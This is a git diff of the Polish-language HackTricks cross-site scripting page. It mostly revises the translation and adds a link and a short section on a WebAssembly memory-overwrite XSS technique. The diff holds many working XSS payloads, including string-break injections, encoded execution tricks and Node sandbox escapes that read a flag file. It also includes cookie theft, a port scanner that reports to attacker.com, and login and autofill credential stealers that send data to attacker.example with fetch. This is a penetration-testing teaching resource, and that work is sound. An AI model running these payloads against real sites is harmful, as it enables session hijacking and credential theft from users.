diff --git a/src/SUMMARY.md b/src/SUMMARY.md index be4d4275a..4c7d77d24 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -725,6 +725,7 @@ - [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md) - [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md) - [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md) + - [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md) - [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md) - [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md) - [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md) diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 1b16d6e35..fd8035c19 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -2,34 +2,35 @@ {{#include ../../banners/hacktricks-training.md}} -## Metodologia +## Methodology -1. Sprawdź, czy **jakakolwiek wartość przez Ciebie kontrolowana** (_parameters_, _path_, _headers_?, _cookies_?) jest **reflektowana** w HTML lub **używana** przez **JS**. -2. **Znajdź kontekst**, w którym jest reflektowana/używana. -3. Jeśli **reflektowana** -1. Sprawdź, **jakie symbole możesz użyć** i w zależności od tego przygotuj payload: -1. W **surowym HTML**: -1. Czy możesz tworzyć nowe tagi HTML? -2. Czy możesz użyć eventów lub atrybutów wspierających protokół `javascript:`? +1. Sprawdź, czy **jakakolwiek wartość, którą kontrolujesz** (_parameters_, _path_, _headers_?, _cookies_?) jest **odbijana** w HTML lub **używana** przez kod **JS**. +2. **Znajdź kontekst**, w którym jest odbijana/używana. +3. Jeśli **odbita** +1. Sprawdź, **które symbole możesz użyć** i w zależności od tego przygotuj payload: +1. W **raw HTML**: +1. Czy możesz stworzyć nowe tagi HTML? +2. Czy możesz użyć eventów lub atrybutów obsługujących protokół `javascript:`? 3. Czy możesz obejść zabezpieczenia? -4. Czy zawartość HTML jest interpretowana przez jakiś klientowy silnik JS (_AngularJS_, _VueJS_, _Mavo_...), który możesz wykorzystać poprzez [Client Side Template Injection](../client-side-template-injection-csti.md). -5. Jeśli nie możesz stworzyć tagów HTML wykonujących JS, czy możesz wykorzystać [Dangling Markup - HTML scriptless injection](../dangling-markup-html-scriptless-injection/index.html)? +4. Czy zawartość HTML jest interpretowana przez jakiś client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), możesz wykorzystać [**Client Side Template Injection**](../client-side-template-injection-csti.md). +5. Jeśli nie możesz tworzyć tagów HTML wykonujących JS, czy możesz wykorzystać [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)? 2. Wewnątrz **tagu HTML**: -1. Czy możesz wyjść do surowego kontekstu HTML? -2. Czy możesz stworzyć nowe eventy/atrybuty wykonujące JS? -3. Czy atrybut, w którym jesteś uwięziony, wspiera wykonanie JS? +1. Czy możesz wyjść do raw HTML context? +2. Czy możesz stworzyć nowe eventy/atrybuty wykonujące kod JS? +3. Czy atrybut, w którym jesteś uwięziony, obsługuje wykonanie JS? 4. Czy możesz obejść zabezpieczenia? 3. Wewnątrz **kodu JavaScript**: 1. Czy możesz uciec z tagu ``** tagami strony HTML, wewnątrz pliku `.js` lub w atrybucie używającym protokołu **`javascript:`**: +W tym przypadku Twoje dane wejściowe są odzwierciedlane między **``** tagami strony HTML, wewnątrz pliku `.js` lub wewnątrz atrybutu używającego protokołu **`javascript:`**: -- Jeśli jest odzwierciedlane pomiędzy **``** tagami, nawet jeśli Twoje dane są wewnątrz jakiegokolwiek rodzaju cudzysłowów, możesz spróbować wstrzyknąć `` i uciec z tego kontekstu. Działa to, ponieważ **przeglądarka najpierw sparsuje tagi HTML**, a dopiero potem ich zawartość, w związku z czym nie zauważy, że wstrzyknięty `` znajduje się w kodzie HTML. -- Jeśli jest odzwierciedlane **inside a JS string** i poprzedni trik nie działa, będziesz musiał **opuścić** string, **wykonać** swój kod i **odtworzyć** kod JS (jeśli wystąpi jakikolwiek błąd, nie zostanie on wykonany): +- Jeśli jest odzwierciedlany między **``** tagami, nawet jeśli Twoje dane wejściowe są wewnątrz jakichkolwiek cudzysłowów, możesz spróbować wstrzyknąć `` i wydostać się z tego kontekstu. Działa to, ponieważ **przeglądarka najpierw sparsuje tagi HTML** i dopiero potem zawartość, więc nie zauważy, że wstrzyknięty tag `` znajduje się wewnątrz kodu HTML. +- Jeśli jest odzwierciedlany **wewnątrz a JS string** i poprzedni trik nie działa, musisz **wyjść** ze stringa, **wykonać** swój kod i **odtworzyć** kod JS (jeśli jest jakikolwiek błąd, nie zostanie on wykonany: - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` -- Jeśli jest odzwierciedlane wewnątrz template literals możesz **embed JS expressions** używając składni `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` -- **Kodowanie Unicode** umożliwia zapisanie **prawidłowego kodu JavaScript**: +- Jeśli jest odzwierciedlany wewnątrz template literals możesz **osadzić wyrażenia JS** używając składni `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` +- **Unicode encode** works to write **valid javascript code**: ```javascript alert(1) alert(1) @@ -85,8 +86,8 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting odnosi się do możliwości **zadeklarowania funkcji, zmiennych lub klas po ich użyciu, co pozwala nadużywać scenariuszy, w których XSS używa niezadeklarowanych zmiennych lub funkcji.**\ -**Sprawdź następującą stronę po więcej informacji:** +Javascript Hoisting odnosi się do możliwości **zadeklarowania funkcji, zmiennych lub klas po ich użyciu, aby nadużyć scenariuszy, w których XSS używa niezadeklarowanych zmiennych lub funkcji.**\ +**Sprawdź następującą stronę, aby uzyskać więcej informacji:** {{#ref}} @@ -97,17 +98,17 @@ js-hoisting.md Wiele stron ma endpointy, które **przyjmują jako parametr nazwę funkcji do wykonania**. Częstym przykładem spotykanym w praktyce jest coś w stylu: `?callback=callbackFunc`. -Dobrym sposobem, aby sprawdzić, czy coś przekazanego bezpośrednio przez użytkownika jest próbowane wykonać, jest **zmodyfikowanie wartości parametru** (na przykład na 'Vulnerable') i sprawdzenie w konsoli błędów takich jak: +Dobrym sposobem, by sprawdzić czy coś podanego bezpośrednio przez użytkownika jest próbowane do wykonania, jest **zmodyfikować wartość parametru** (na przykład na 'Vulnerable') i sprawdzić w konsoli błędy takie jak: ![](<../../images/image (711).png>) -Jeśli jest podatne, możesz być w stanie **wywołać alert** po prostu wysyłając wartość: **`?callback=alert(1)`**. Jednak często takie endpointy **weryfikują zawartość**, aby pozwolić tylko na litery, cyfry, kropki i podkreślenia (**`[\w\._]`**). +Jeśli jest podatne, możesz być w stanie **wywołać alert** po prostu wysyłając wartość: **`?callback=alert(1)`**. Jednak bardzo często takie endpointy **walidują zawartość**, aby pozwolić tylko na litery, cyfry, kropki i podkreślenia (**`[\w\._]`**). -Nawet z tym ograniczeniem nadal można wykonać pewne akcje. Dzieje się tak, ponieważ możesz użyć dozwolonych znaków, aby **uzyskać dostęp do dowolnego elementu w DOM**: +Jednak nawet przy tym ograniczeniu nadal można wykonać pewne operacje. Wynika to z faktu, że można użyć tych dozwolonych znaków, aby **uzyskać dostęp do dowolnego elementu w DOM**: ![](<../../images/image (747).png>) -Przydatne funkcje do tego: +Kilka przydatnych funkcji do tego: ``` firstElementChild lastElementChild @@ -115,11 +116,11 @@ nextElementSibiling lastElementSibiling parentElement ``` -Możesz też spróbować **trigger Javascript functions** bezpośrednio: `obj.sales.delOrders`. +Możesz również spróbować **wywołać Javascript functions** bezpośrednio: `obj.sales.delOrders`. -Jednak zazwyczaj endpoints wykonujące wskazaną funkcję to endpoints bez zbyt interesującego DOM, **other pages in the same origin** będą miały **more interesting DOM** do wykonania większej liczby akcji. +Jednak zwykle endpointy wykonujące wskazaną funkcję to endpointy bez zbytnio interesującego DOM, **inne strony w tym samym originie** będą miały **bardziej interesujący DOM** do wykonania dodatkowych akcji. -W związku z tym, aby **abuse this vulnerability in a different DOM** opracowano exploitację **Same Origin Method Execution (SOME)**: +W związku z tym, aby **wykorzystać tę podatność w innym DOM** opracowano exploitację **Same Origin Method Execution (SOME)**: {{#ref}} @@ -128,7 +129,7 @@ some-same-origin-method-execution.md ### DOM -Istnieje **JS code**, który w niebezpieczny sposób używa pewnych **danych kontrolowanych przez atakującego**, takich jak `location.href`. Atakujący może to wykorzystać do wykonania dowolnego kodu JS. +Istnieje **JS code**, który w **niebezpieczny sposób** używa danych **kontrolowanych przez atakującego**, takich jak `location.href`. Atakujący może to wykorzystać do wykonania dowolnego kodu JS. {{#ref}} @@ -137,8 +138,8 @@ dom-xss.md ### **Universal XSS** -Ten rodzaj XSS może występować **anywhere**. Nie zależą one tylko od eksploatacji po stronie klienta aplikacji webowej, lecz od **any** **context**. Ten rodzaj **arbitrary JavaScript execution** może być nawet wykorzystany do uzyskania **RCE**, **read** **arbitrary** **files** na klientach i serwerach, i więcej.\ -Some **examples**: +Tego typu XSS można znaleźć **wszędzie**. Nie zależą one wyłącznie od eksploatacji po stronie klienta aplikacji webowej, lecz od **dowolnego** **kontekstu**. Tego typu **dowolne wykonanie JavaScript** może być nawet wykorzystane do uzyskania **RCE**, **odczytu** **dowolnych** **plików** na klientach i serwerach i innych.\ +Niektóre **przykłady**: {{#ref}} @@ -150,17 +151,17 @@ server-side-xss-dynamic-pdf.md ../../network-services-pentesting/pentesting-web/electron-desktop-apps/ {{#endref}} -## WAF bypass encoding image +## Obraz kodowania omijającego WAF ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) -## Injecting inside raw HTML +## Wstrzykiwanie do surowego HTML -Gdy Twój input jest odzwierciedlany **inside the HTML page** lub możesz w tym kontekście uciec i wstrzyknąć kod HTML, **pierwsza** rzecz, którą musisz zrobić, to sprawdzić, czy możesz nadużyć `<`, aby stworzyć nowe tagi: Po prostu spróbuj **reflect** tego **char** i sprawdź, czy jest **HTML encoded** lub **deleted** albo czy jest **reflected without changes**. **Tylko w ostatnim przypadku będziesz mógł to wykorzystać**.\ -W takich przypadkach także **pamiętaj** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ -_**Note: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\***\***\*_ +Kiedy twoje dane wejściowe są odzwierciedlane **wewnątrz strony HTML** lub możesz uciec i wstrzykiwać kod HTML w tym kontekście, pierwszą rzeczą, którą musisz zrobić, jest sprawdzenie, czy możesz wykorzystać `<` do tworzenia nowych tagów: Po prostu spróbuj **odzwierciedlić** ten **znak** i sprawdź, czy jest **zakodowany jako HTML**, **usuwany** czy **odzwierciedlony bez zmian**. **Tylko w tym ostatnim przypadku będziesz mógł to wykorzystać**.\ +W takich przypadkach miej też na uwadze [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ +_**Uwaga: Komentarz HTML można zamknąć używając\*\***\***\*`-->`\*\***\***\*lub \*\***`--!>`\*\*_ -W tym przypadku i jeśli nie są stosowane żadne black/whitelisting, możesz użyć payloadów takich jak: +W tym przypadku i jeśli nie stosuje się black/whitelisting, możesz użyć payloadów takich jak: ```html `, albo w eventach HTML, które mogą wykonać kod JS, lub w atrybutach akceptujących protokół `javascript:`. +W takich przypadkach twój **input** zostanie **odzwierciedlony wewnątrz kodu JS** pliku `.js` lub pomiędzy tagami ``, albo w eventach HTML które mogą wykonać kod JS lub w atrybutach akceptujących protokół `javascript:`. -### Escaping \`, możesz w prosty sposób **uciec, zamykając tag `` możesz łatwo **uciec z zamknięcia ` ``` -Zauważ, że w tym przykładzie **nawet nie zamknęliśmy pojedynczego apostrofu**. Dzieje się tak, ponieważ **parsowanie HTML jest wykonywane najpierw przez przeglądarkę**, które obejmuje identyfikację elementów strony, w tym bloków script. Parsowanie JavaScriptu w celu zrozumienia i wykonania osadzonych skryptów jest wykonywane dopiero później. +Zauważ, że w tym przykładzie **nawet nie zamknęliśmy pojedynczego apostrofu**. Dzieje się tak, ponieważ **parsowanie HTML jest wykonywane najpierw przez przeglądarkę**, co obejmuje identyfikację elementów strony, w tym bloków script. Parsowanie JavaScriptu w celu zrozumienia i wykonania osadzonych skryptów odbywa się dopiero później. -### Wewnątrz kodu JS +### W kodzie JS -Jeśli `<>` są sanitizowane, nadal możesz **uciec z łańcucha** w miejscu, gdzie twoje dane wejściowe są **osadzone**, i **wykonać dowolny JS**. Ważne jest, aby **poprawić składnię JS**, ponieważ jeśli wystąpią błędy, kod JS nie zostanie wykonany: +Jeśli `<>` są sanitizowane, nadal możesz **uciec z ciągu znaków** w miejscu, gdzie twoje wejście jest **osadzone**, i **wykonać dowolny kod JS**. Ważne jest, aby **poprawić składnię JS**, ponieważ jeśli pojawią się jakiekolwiek błędy, kod JS nie zostanie wykonany: ``` '-alert(document.domain)-' ';alert(document.domain)// @@ -496,25 +497,25 @@ Jeśli `<>` są sanitizowane, nadal możesz **uciec z łańcucha** w miejscu, gd ``` #### JS-in-JS string break → inject → repair pattern -Kiedy dane wejściowe użytkownika trafiają wewnątrz cytowanego łańcucha JavaScript (e.g., server-side echo into an inline script), możesz zakończyć łańcuch, wstrzyknąć kod i naprawić składnię, aby dalsze parsowanie było poprawne. Ogólny szkielet: +Gdy dane wejściowe użytkownika trafiają do cytowanego JavaScript string (e.g., server-side echo into an inline script), możesz zakończyć string, wstrzyknąć kod i naprawić składnię, aby parsowanie pozostało poprawne. Ogólny szkielet: ``` " // end original string ; // safely terminate the statement // attacker-controlled JS ; a = " // repair and resume expected string/statement ``` -Przykładowy wzorzec URL, gdy podatny parametr jest odzwierciedlany w stringu JS: +Przykładowy wzorzec URL, gdy podatny parametr jest odzwierciedlany w łańcuchu JS: ``` ?param=test";;a=" ``` -To wykonuje złośliwy kod JS bez potrzeby modyfikowania kontekstu HTML (pure JS-in-JS). Połącz z blacklist bypasses poniżej, gdy filtry blokują słowa kluczowe. +To wykonuje attacker JS bez potrzeby modyfikowania kontekstu HTML (czysty JS-in-JS). Połącz z blacklist bypasses poniżej, gdy filtry blokują słowa kluczowe. -### Literały szablonowe `` +### Template literals `` -Aby konstruować **strings**, oprócz pojedynczych i podwójnych cudzysłowów, JS akceptuje także **backticks** **` `` `**. Są one znane jako template literals, ponieważ pozwalają na **embedded JS expressions** używając składni `${ ... }`.\ -Jeśli więc okaże się, że Twój input jest **reflected** wewnątrz JS string używającego backticks, możesz wykorzystać składnię `${ ... }`, aby wykonać **arbitrary JS code**: +Aby konstruować **strings**, oprócz pojedynczych i podwójnych cudzysłowów JS akceptuje także **backticks** **` `` `**. Jest to znane jako template literals, ponieważ pozwalają na **embedded JS expressions** używając składni `${ ... }`.\ +Jeśli więc twoje dane wejściowe są **reflected** wewnątrz JS stringa używającego backticks, możesz nadużyć składni `${ ... }`, aby wykonać **arbitrary JS code**: -Można to **wykorzystać** używając: +This can be **abused** using: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` @@ -526,29 +527,29 @@ return loop } loop`` ``` -### Encoded code execution +### Zakodowane wykonywanie kodu ```html

%.*s

" to "" turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render. + +Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses: + +{{#ref}} +wasm-linear-memory-template-overwrite-xss.md +{{#endref}} + + ### Normalised Unicode -Możesz sprawdzić, czy **reflected values** są **unicode normalized** po stronie serwera (lub po stronie klienta) i wykorzystać tę funkcjonalność do obejścia zabezpieczeń. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting). +You could check is the **reflected values** are being **unicode normalized** in the server (or in the client side) and abuse this functionality to bypass protections. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting). ### PHP FILTER_VALIDATE_EMAIL flag Bypass ```javascript @@ -823,16 +835,16 @@ Możesz sprawdzić, czy **reflected values** są **unicode normalized** po stron ``` ### Ruby-On-Rails bypass -Z powodu **RoR mass assignment** cudzysłowy są wstawiane do HTML, a ograniczenie dotyczące cudzysłowów zostaje ominięte i dodatkowe pola (onfocus) mogą zostać dodane wewnątrz tagu.\ +Z powodu **RoR mass assignment** w HTML wstawiane są cudzysłowy, przez co ograniczenie cudzysłowów jest obchodzone i dodatkowe pola (onfocus) mogą zostać dodane wewnątrz tagu.\ Przykład formularza ([from this report](https://hackerone.com/reports/709336)), jeśli wyślesz payload: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` -Para "Key","Value" zostanie wyświetlona w następujący sposób: +Para "Key","Value" zostanie zwrócona w następujący sposób: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` -Wówczas atrybut onfocus zostanie wstawiony i nastąpi XSS. +Wtedy zostanie wstawiony atrybut onfocus i nastąpi XSS. ### Specjalne kombinacje ```html @@ -864,20 +876,20 @@ Wówczas atrybut onfocus zostanie wstawiony i nastąpi XSS. window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` -### XSS z wstrzyknięciem nagłówka w odpowiedzi 302 +### XSS with header injection in a 302 response -Jeśli odkryjesz, że możesz **inject headers in a 302 Redirect response** możesz spróbować **make the browser execute arbitrary JavaScript**. To **nie jest trywialne**, ponieważ nowoczesne przeglądarki nie interpretują ciała odpowiedzi HTTP, jeśli kod statusu odpowiedzi to 302, więc samo cross-site scripting payload jest bezużyteczne. +Jeśli odkryjesz, że możesz **inject headers in a 302 Redirect response** możesz spróbować **make the browser execute arbitrary JavaScript**. To **nie jest trywialne**, ponieważ nowoczesne przeglądarki nie interpretują ciała odpowiedzi HTTP gdy status code odpowiedzi HTTP to 302, więc sam cross-site scripting payload jest bezużyteczny. -W [**this report**](https://www.gremwell.com/firefox-xss-302) i w [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) możesz przeczytać, jak przetestować kilka protokołów wewnątrz Location header i sprawdzić, czy któryś z nich pozwala przeglądarce na przejrzenie i wykonanie XSS payload wewnątrz ciała odpowiedzi.\ +W [**this report**](https://www.gremwell.com/firefox-xss-302) i [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) możesz przeczytać, jak testować różne protokoły w Location header i sprawdzić, czy któryś z nich pozwala przeglądarce na zbadanie i wykonanie XSS payload wewnątrz body.\ Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`. ### Tylko litery, cyfry i kropki -Jeśli możesz wskazać **callback**, który javascript ma **wykonać**, ograniczony do tych znaków. [**Read this section of this post**](#javascript-function) aby dowiedzieć się, jak nadużyć tego zachowania. +Jeśli możesz wskazać **callback**, który javascript ma zamiar **execute**, ograniczony do tych znaków. [**Read this section of this post**](#javascript-function) aby dowiedzieć się, jak abuse tego zachowania. -### Valid ` ``` Odpowiedź to: -- **module** (domyślny, nic do wyjaśnienia) -- [**webbundle**](https://web.dev/web-bundles/): Web Bundles to funkcja, która pozwala zapakować wiele danych (HTML, CSS, JS…) w jeden plik **`.wbn`**. +- **module** (domyślnie, nic do wyjaśnienia) +- [**webbundle**](https://web.dev/web-bundles/): Web Bundles to funkcja, która pozwala spakować różne dane (HTML, CSS, JS…) w plik **`.wbn`**. ```html The resources are loaded from the source .wbn, not accessed via HTTP ``` -- [**importmap**](https://github.com/WICG/import-maps)**:** Pozwala ulepszyć składnię importu +- [**importmap**](https://github.com/WICG/import-maps)**:** Pozwala ulepszyć składnię importów ```html ``` -To zachowanie zostało użyte w [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) aby przypisać bibliotekę do eval; nadużycie tego może wywołać XSS. +To zachowanie zostało użyte w [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) do remapowania biblioteki na eval — jego nadużycie może wywołać XSS. -- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ta funkcja ma na celu przede wszystkim rozwiązanie niektórych problemów spowodowanych wstępnym renderowaniem. Działa w następujący sposób: +- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ta funkcja ma głównie rozwiązywać pewne problemy spowodowane przez pre-rendering. Działa w ten sposób: ```html ``` -### Web Content-Types umożliwiające XSS +### Web Content-Types powodujące XSS -(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Następujące content types mogą wykonać XSS we wszystkich przeglądarkach: +(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Następujące content types mogą wykonywać XSS we wszystkich przeglądarkach: - text/html - application/xhtml+xml - application/xml - text/xml - image/svg+xml -- text/plain (?? not in the list but I think I saw this in a CTF) -- application/rss+xml (off) -- application/atom+xml (off) +- text/plain (?? nie na liście, ale chyba widziałem to w CTF) +- application/rss+xml (wyłączone) +- application/atom+xml (wyłączone) -W innych przeglądarkach inne **`Content-Types`** mogą być użyte do wykonania dowolnego JS, sprawdź: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) +W innych przeglądarkach inne **`Content-Types`** mogą być użyte do wykonania dowolnego JS, zobacz: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### xml Content Type -Jeśli strona zwraca content-type text/xml, możliwe jest wskazanie namespace i wykonanie dowolnego JS: +Jeśli strona zwraca text/xml content-type, możliwe jest określenie namespace i wykonanie dowolnego JS: ```xml hello @@ -982,11 +994,11 @@ Jeśli strona zwraca content-type text/xml, możliwe jest wskazanie namespace i ``` -### Specjalne wzorce zastępowania +### Specjalne wzorce zamiany -Gdy używane jest coś takiego jak **`"some {{template}} data".replace("{{template}}", )`**, atakujący może użyć [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) żeby spróbować obejść niektóre zabezpieczenia: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` +Kiedy używa się czegoś takiego jak **`"some {{template}} data".replace("{{template}}", )`**. Atakujący może użyć [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) żeby spróbować obejść niektóre zabezpieczenia: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` -Na przykład w [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), użyto tego do ucieczki z ograniczeń ciągu JSON umieszczonego wewnątrz skryptu i wykonania dowolnego kodu. +Na przykład w [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) użyto tego, aby escape'ować ciąg JSON wewnątrz skryptu i wykonać arbitralny kod. ### Chrome Cache to XSS @@ -997,7 +1009,7 @@ chrome-cache-to-xss.md ### XS Jails Escape -Jeśli masz do dyspozycji tylko ograniczony zestaw znaków, sprawdź te inne poprawne rozwiązania dla problemów XSJail: +Jeśli masz do dyspozycji tylko ograniczony zestaw chars, sprawdź te inne poprawne rozwiązania problemów z XSJail: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() @@ -1028,22 +1040,22 @@ constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` -Jeśli **wszystko jest undefined** przed wykonaniem niezaufanego kodu (jak w [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), możliwe jest wygenerowanie przydatnych obiektów "z niczego", aby wykorzystać wykonanie dowolnego niezaufanego kodu: +Jeśli **wszystko jest undefined** przed wykonaniem niezaufanego kodu (jak w [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), możliwe jest wygenerowanie użytecznych obiektów "z niczego" w celu wykorzystania wykonywania dowolnego niezaufanego kodu: - Używając import() ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` -- Pośredni dostęp do `require` +- Dostęp do `require` pośrednio -[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduły są opakowywane przez Node.js w funkcję, w następujący sposób: +[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduły są przez Node.js opakowywane wewnątrz funkcji, w ten sposób: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code }) ``` -Dlatego, jeśli z tego modułu możemy **wywołać inną funkcję**, możliwe jest użycie `arguments.callee.caller.arguments[1]` z tej funkcji, aby uzyskać dostęp do **`require`**: +Zatem, jeśli z tego modułu możemy **wywołać inną funkcję**, możliwe jest użycie `arguments.callee.caller.arguments[1]` z tej funkcji, aby uzyskać dostęp do **`require`**: ```javascript ;(function () { return arguments.callee.caller.arguments[1]("fs").readFileSync( @@ -1052,7 +1064,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync( ) })() ``` -Podobnie jak w poprzednim przykładzie, można **use error handlers** w celu uzyskania dostępu do **wrapper** modułu i zdobycia funkcji **`require`**: +W podobny sposób jak w poprzednim przykładzie, można **użyć obsługi błędów**, aby uzyskać dostęp do **wrappera** modułu i otrzymać funkcję **`require`**: ```javascript try { null.f() @@ -1271,9 +1283,9 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o] ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` -## XSS common payloads +## XSS częste payloads -### Several payloads in 1 +### Kilka payloads w 1 {{#ref}} @@ -1282,14 +1294,14 @@ steal-info-js.md ### Iframe Trap -Spraw, aby użytkownik nawigował po stronie bez opuszczania iframe i przechwytuj jego działania (w tym informacje wysyłane w formularzach): +Zmusić użytkownika do poruszania się po stronie bez opuszczania iframe i przechwycić jego działania (w tym informacje wysyłane w formularzach): {{#ref}} ../iframe-traps.md {{#endref}} -### Pobierz Cookies +### Pobieranie cookies ```javascript /?c="+document.cookie> @@ -1312,7 +1324,7 @@ Spraw, aby użytkownik nawigował po stronie bez opuszczania iframe i przechwytu ``` > [!TIP] -> **Nie będziesz w stanie uzyskać dostępu do cookies z poziomu JavaScript**, jeśli flaga HTTPOnly jest ustawiona w ciasteczku. Ale tutaj masz [kilka sposobów na obejście tej ochrony](../hacking-with-cookies/index.html#httponly), jeśli będziesz miał szczęście. +> Nie będziesz w stanie uzyskać dostępu do cookies z poziomu JavaScript, jeśli flaga HTTPOnly jest ustawiona w cookie. Ale tutaj masz [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) jeśli będziesz miał szczęście. ### Kradzież zawartości strony ```javascript @@ -1388,7 +1400,7 @@ q.shift()() ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` -### Port Scanner (websockets) +### Skaner portów (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` @@ -1422,11 +1434,11 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -Kiedy jakiekolwiek dane zostaną wprowadzone w polu password, username i password są wysyłane do attackers server — nawet jeśli klient wybierze saved password i nic nie wpisze, credentials zostaną ex-filtrated. +Kiedy w polu password zostanie wprowadzona jakakolwiek wartość, username i password są wysyłane na serwer atakującego — nawet jeśli klient wybierze saved password i nic nie wpisze, credentials zostaną ex-filtrated. ### Hijack form handlers to exfiltrate credentials (const shadowing) -Jeśli krytyczny handler (np. `function DoLogin(){...}`) jest zadeklarowany później na stronie, a twój payload uruchamia się wcześniej (np. poprzez inline JS-in-JS sink), zadeklaruj najpierw `const` o tej samej nazwie, aby przejąć i zablokować handler. Późniejsze deklaracje funkcji nie mogą ponownie powiązać nazwy zadeklarowanej jako `const`, pozostawiając twój hook pod kontrolą: +Jeśli krytyczny handler (np. `function DoLogin(){...}`) jest zadeklarowany później na stronie, a twój payload uruchamia się wcześniej (np. przez inline JS-in-JS sink), zdefiniuj najpierw `const` o tej samej nazwie, żeby preempt and lock the handler. Późniejsze deklaracje funkcji nie mogą rebindować nazwy `const`, dzięki czemu twój hook pozostaje w kontroli: ```javascript const DoLogin = () => { const pwd = Trim(FormInput.InputPassword.value); @@ -1435,18 +1447,18 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom }; ``` Notatki -- Zależy to od kolejności wykonywania: your injection musi wykonać się przed prawidłową deklaracją. -- Jeśli twój payload jest opakowany w `eval(...)`, wiązania `const/let` nie staną się globalne. Użyj dynamicznej techniki ` @@ -1561,7 +1573,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln ``` ### Regex - Dostęp do ukrytej zawartości -From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) można się dowiedzieć, że nawet jeśli niektóre wartości znikają z JS, wciąż można je znaleźć w atrybutach JS w różnych obiektach. Na przykład input REGEX można nadal odnaleźć nawet po usunięciu wartości pola input regex: +Z [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) można dowiedzieć się, że nawet jeśli niektóre wartości znikają z JS, nadal można je znaleźć w atrybutach JS w różnych 